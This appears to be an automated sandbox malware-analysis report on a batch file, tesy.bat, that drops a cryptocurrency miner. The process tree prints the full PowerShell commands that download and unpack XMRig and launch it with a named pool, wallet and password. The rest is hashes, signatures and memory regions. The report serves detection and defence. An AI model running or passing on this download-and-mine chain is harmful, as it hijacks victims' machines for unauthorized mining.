Resubmissions

Analysis

  • max time kernel
    1795s
  • max time network
    1785s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/01/2024, 18:23

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4804
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2576

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    8506dee5b37906bc559d25bc8e5309f5

    SHA1

    5af2dcd0d88fb7cf0519679eff0d3b3754129b7c

    SHA256

    b0e6e5d675c6d362e08fa6a983f28bffe3015d11eec53c91aa315346c62e2e33

    SHA512

    71dab52dbeb2c8203c881d25d9be7c56fcae2e4ad2d51af061d0073c02055994b058fb5a845030ac240ac6d608a02f021f5c55213962021ac42f2bb14b0b82e5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_venl4bsq.h1v.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    403KB

    MD5

    b148ba90bae892020bda508248da499e

    SHA1

    0105393c98fb49f99f9e920d0a7630e78d84760b

    SHA256

    4a72bf33fb3f3ff4b6b2b317a00dda15c9c8a134a4f3f877d470fddf8b99e871

    SHA512

    eab811141d65a4f8a89e546c9feaa3256c6e6f63e84f7bec321fe661ce07642df4d9fe37b11966da0ee43624d185c0c725534800a365da8190cacd9b986cdd2a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    12KB

    MD5

    c08f89de095aea0dfea146822e2713f7

    SHA1

    0d9fdff3efab8948855d02b4f47f3868a710255d

    SHA256

    77a2f19f495acac2175c302aeffd3d8c9ecb8f9c0a557cf0952b3e9834d5afcb

    SHA512

    7f8c615ab50c9710f856d71b66d87e6f37db8677a3a742388925f33ebc01451f210c73ad75909dcf447d77cf6a50a805ecaf433ae1d567849b7e4086fd439d26

  • memory/200-5-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/200-6-0x0000018C14AA0000-0x0000018C14AB0000-memory.dmp

    Filesize

    64KB

  • memory/200-4-0x0000018C2D050000-0x0000018C2D072000-memory.dmp

    Filesize

    136KB

  • memory/200-7-0x0000018C14AA0000-0x0000018C14AB0000-memory.dmp

    Filesize

    64KB

  • memory/200-10-0x0000018C2D300000-0x0000018C2D376000-memory.dmp

    Filesize

    472KB

  • memory/200-25-0x0000018C14AA0000-0x0000018C14AB0000-memory.dmp

    Filesize

    64KB

  • memory/200-30-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/2576-142-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-147-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-184-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-183-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-182-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-181-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-180-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-117-0x0000029A3D9F0000-0x0000029A3DA10000-memory.dmp

    Filesize

    128KB

  • memory/2576-118-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-119-0x0000029A3DA10000-0x0000029A3DA30000-memory.dmp

    Filesize

    128KB

  • memory/2576-120-0x0000029A3DA30000-0x0000029A3DA50000-memory.dmp

    Filesize

    128KB

  • memory/2576-121-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-122-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-123-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-124-0x0000029A3DA10000-0x0000029A3DA30000-memory.dmp

    Filesize

    128KB

  • memory/2576-125-0x0000029A3DA30000-0x0000029A3DA50000-memory.dmp

    Filesize

    128KB

  • memory/2576-126-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-127-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-128-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-129-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-130-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-131-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-132-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-133-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-134-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-135-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-136-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-137-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-138-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-139-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-140-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-141-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-116-0x0000029A3C000000-0x0000029A3C020000-memory.dmp

    Filesize

    128KB

  • memory/2576-143-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-144-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-145-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-146-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-179-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-148-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-149-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-150-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-151-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-152-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-153-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-154-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-155-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-156-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-157-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-158-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-159-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-160-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-161-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-162-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-163-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-164-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-165-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-166-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-167-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-168-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-169-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-170-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-171-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-172-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-173-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-174-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-175-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-176-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-177-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2576-178-0x00007FF7C7CA0000-0x00007FF7C87A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-41-0x00000299F36A0000-0x00000299F36B0000-memory.dmp

    Filesize

    64KB

  • memory/4804-37-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4804-76-0x00000299F3B20000-0x00000299F3B32000-memory.dmp

    Filesize

    72KB

  • memory/4804-89-0x00000299F3990000-0x00000299F399A000-memory.dmp

    Filesize

    40KB

  • memory/4804-62-0x00000299F36A0000-0x00000299F36B0000-memory.dmp

    Filesize

    64KB

  • memory/4804-39-0x00000299F36A0000-0x00000299F36B0000-memory.dmp

    Filesize

    64KB

  • memory/4804-113-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB